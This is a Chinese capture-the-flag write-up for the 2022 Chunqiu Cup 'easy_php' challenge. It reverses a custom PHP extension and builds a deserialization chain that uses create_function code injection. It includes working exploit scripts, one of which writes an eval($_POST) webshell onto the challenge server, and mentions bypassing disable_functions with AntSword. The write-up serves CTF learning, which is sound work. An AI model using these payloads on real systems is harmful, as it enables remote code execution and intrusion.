2022春秋杯 勇者山峰赛道0解 easy_php题解
共 10083字,需浏览 21分钟
·
2022-05-14 07:56
本文来自“白帽子社区知识星球”
作者:yybdy@WHT
WHT战队招新:
WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。
有半年以上CTF竞赛经验的。
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
加分项:有一年以上CTF竞赛经验的各方向CTFer。
有意向的师傅请扫描二维码联系我们
highlight_file(__FILE__);
error_reporting(0);
function createFolder($path)
{
if (!file_exists($path)) {
createFolder(dirname($path));
mkdir($path, 0777);
}
}
function savePostData()
{
$content = $GLOBALS['HTTP_RAW_POST_DATA'];
if (empty($content)) {
$content = file_get_contents('php://input');
}
if ($content == null) {
exit(0);
}
$format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen';
$head = unpack("$format", $content);
unset($format);
$format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen' . '/a' . ($head["nFileNameLen"]) . 'chFileName' . '/a' . ($head["nFileDataLen"]) . 'data';
$head = unpack("$format", $content);
if (is_string($head["chFileName"])) {
$fileName = $head["chFileName"];
$white_func = array("readfile","unserialize","phpinfo");
if (!in_array($fileName, $white_func)) {
exit("hi hack!");
}
$fileName($head["data"]);
}
echo "FAIL";
}
savePostData();
函数功能
先看下题目,总共2个函数,
createFolder
创建目录
savePostData
先获取了所有post数据然后用unpack来处理
检测处理后的数据中
chFileName
是否为字符串检测
chFileName
内容是否是$white_func
中的三个函数chFileName(data)
第一步需要构造unpack的数据
https://www.runoob.com/php/func-misc-unpack.html
php pack format类型
a 以NUL字节填充字符串空白
A 以SPACE(空格)填充字符串
h 十六进制字符串,低位在前
H 十六进制字符串,高位在前
c 有符号字符
C 无符号字符
s 有符号短整型(16位,主机字节序)
S 无符号短整型(16位,主机字节序)
n 无符号短整型(16位,大端字节序)
v 无符号短整型(16位,小端字节序)
i 有符号整型(机器相关大小字节序)
I 无符号整型(机器相关大小字节序)
l 有符号长整型(32位,主机字节序)
L 无符号长整型(32位,主机字节序)
N 无符号长整型(32位,大端字节序)
V 无符号长整型(32位,小端字节序)
q 有符号长长整型(64位,主机字节序)
Q 无符号长长整型(64位,主机字节序)
J 无符号长长整型(64位,大端字节序)
P 无符号长长整型(64位,小端字节序)
f 单精度浮点型(机器相关大小)
d 双精度浮点型(机器相关大小)
x NUL字节
X 回退一字节
Z 以NUL字节填充字符串空白(new in PHP 5.5)
NUL填充到绝对位置
测试:
$string = pack('L4', 1, 2, 3, 4);
var_dump(unpack('Ll1/Ll2/Ll3/Ll4', $string)); //可以指定key,用/分割
//输出:
array(4) {
[int(1) ]=>
[int(2) ]=>
[int(3) ]=>
[int(4) ]=>
}
unpack的数据前4个有符号整形字段没用,后面的4个字段分别为:
int functionNameLen
int functionArgLen
String functionName
String functionArg
exp:
<?php
$func = "phpinfo";
$funcLen = strlen($func);
$arg = "-1";
$argLen = strlen($arg);
$a = pack("l", 1);
$a = $a.$a.$a.$a;
$a = $a..pack("l", $funcLen).pack("l", $argLen);
$a = $a.pack("a${funcLen}", $func);
$a = $a.pack("a${argLen}", $arg);
$format = "lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen" . "/a${funcLen}" . "chFileName" . "/a${argLen}". "data";
$obj = unpack("$format", $a);
var_dump($obj);
$url = "http://eci-xxxxxxxxx.cloudeci1.ichunqiu.com/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $a);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
先看phpinfo发现存在disable_func和open_basedir
并且存在一个ctf扩展,先用readfile读取(路径在php.ini中extensions_dir)
readfile("/usr/local/lib/php/extensions/no-debug-non-zts-20190902/ctf.so");
分析so扩展
到本地逆向查看发现主要构造了一个php类,不难发现根据phpinfo中zephir_pareser扩展来猜,作者是利用zephir去把写好的一个类编译成C然后生成的so扩展(https://zephir-lang.com)
这里添加了5个属性
php类的析构函数
根据php私有属性id定义
#define ZEND_ACC_PUBLIC (1 << 0)
#define ZEND_ACC_PROTECTED (1 << 1)
#define ZEND_ACC_PRIVATE (1 << 2)
还原源代码
简单的还原这个类:
namespace Ctf{
class Greeting{
public $search;
private $key;
private $cmd;
private $args;
private $token;
function __destruct(){
if(md5($this->key)==md5($this->token) && $this->key != $this->token){
zim_Ctf_Greeting_call_back(cmd, args);
}
}
}
}
zim_Ctf_Greeting_call_back
函数分析如下:
Php基础变量
typedef union _zend_value {
zend_long lval; /* long value */
double dval; /* double value */
zend_refcounted *counted;
zend_string *str;
zend_array *arr;
zend_object *obj;
zend_resource *res;
zend_reference *ref;
zend_ast_ref *ast;
zval *zv;
void *ptr;
zend_class_entry *ce;
zend_function *func;
struct {
uint32_t w1;
uint32_t w2;
} ww;
} zend_value;
struct _zval_struct {
zend_value value; /* value */
union {
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* active type */
zend_uchar type_flags,
union {
uint16_t extra; /* not further specified */
} u)
} v;
uint32_t type_info;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t access_flags; /* class constant access flags */
uint32_t property_guard; /* single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};
Type=6
代表字符串
_zend_string
结构如下:
typedef struct _zend_refcounted_h {
uint32_t refcount; /* reference counter 32-bit */
union {
uint32_t type_info;
} u;
} zend_refcounted_h;
struct _zend_refcounted {
zend_refcounted_h gc;
};
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
1.判断参数1长度是否小于等于12,走两条不同的路
2.若小于等于12,则调用方法ephir_call_zval_func_aparams(cmd, args)
,还原php代码为
$cmd($args);
否则走另一条路:
zval *params_[2];
params_[1] = “”;
params_[2] = base64_decode(args);
zephir_call_func_aparams(out_value, "create_function", 15, 0, 2, 2, params_);
还原php代码为create_function(‘’, base64_decode($args));
最后还原整个zim_Ctf_Greeting_call_back
方法:
public function call_back($cmd, $args){
if(strlen($cmd)<=12){
$cmd($args);
}
else{
create_function(‘’, base64_decode($args));
}
}
最终还原的Ctf\Greeting
类
namespace Ctf{
class Greeting{
protected $key;
protected $cmd;
protected $args;
protected $token;
public $search;
function __destruct(){
if(md5($this->key)==md5($this->token) && $this->key != $this->token){
if(strlen($cmd)<=12){
$this->cmd($this->args);
}
else{
create_function(‘’, base64_decode($args));
}
}
}
}
}
POC
md5直接用数组绕
cmd长度大于12,用create_function代码注入漏洞(https://blog.csdn.net/qq_51652864/article/details/115701537)
poc:
namespace Ctf{
class Greeting{
protected $key;
protected $cmd;
protected $args;
protected $token;
public $search;
public function __construct(){
$this->cmd = '11111111111111';
$this->args =base64_encode('}phpinfo();//');
$this->search = 1;
$this->token = array('yes');
$this->key = array('no');;
}
public function __destruct(){
if(md5($this->key)==md5($this->token) && $this->key != $this->token){
if(strlen($this->cmd)<=12){
$this->cmd($this->args);
}
else{
create_function('', base64_decode($this->args));
}
}
}
}
}
namespace{
$exp = new Ctf\Greeting();
echo urlencode(serialize($exp));
}
尝试写shell
因为题目存在disable_func
和open_basedir
不能直接找flag
所以尝试写webshell来绕过它。
但是这里根据题目,猜测应该是没权限,用作者提供的createFolder
创建一个目录
public function __construct(){
$this->cmd = 'createFolder';
$this->args ='shell';
$this->search = 1;
$this->token = array('yes');
$this->key = array('no');;
}
然后写shell
<?php
# serialize
namespace Ctf{
class Greeting{
protected $key;
protected $cmd;
protected $args;
protected $token;
public $search;
public function __construct(){
$this->cmd = '11111111111111';
$this->args =base64_encode('}file_put_contents("shell/shell.php","<?php eval(\$_POST[\'a\']);?>");//');
$this->search = 1;
$this->token = array('yes');
$this->key = array('no');;
}
public function __destruct(){
if(md5($this->key)==md5($this->token) && $this->key != $this->token){
if(strlen($this->cmd)<=12){
$this->cmd($this->args);
}
else{
create_function('', base64_decode($this->args));
}
}
}
}
}
namespace{
$exp = new Ctf\Greeting();
$exp=urlencode(serialize($exp));
# unpack
$data = urldecode($exp);
$ln = strlen($data);
$format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen' . '/a11' . 'chFileName' . "/a${ln}" . 'data';
$a = pack("l", 1);
$a = $a.$a.$a.$a.pack("l", 11).pack("l", $ln);
$a = $a.pack('a11', "unserialize");
$a = $a.pack("a${ln}", "${data}");
$obj = unpack("$format", $a);
var_dump($obj);
#curl
$url = "http://192.168.124.32/ezphp.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $a);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
绕dibsable_func && open_basedir
可以直接用蚁剑插件即可
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼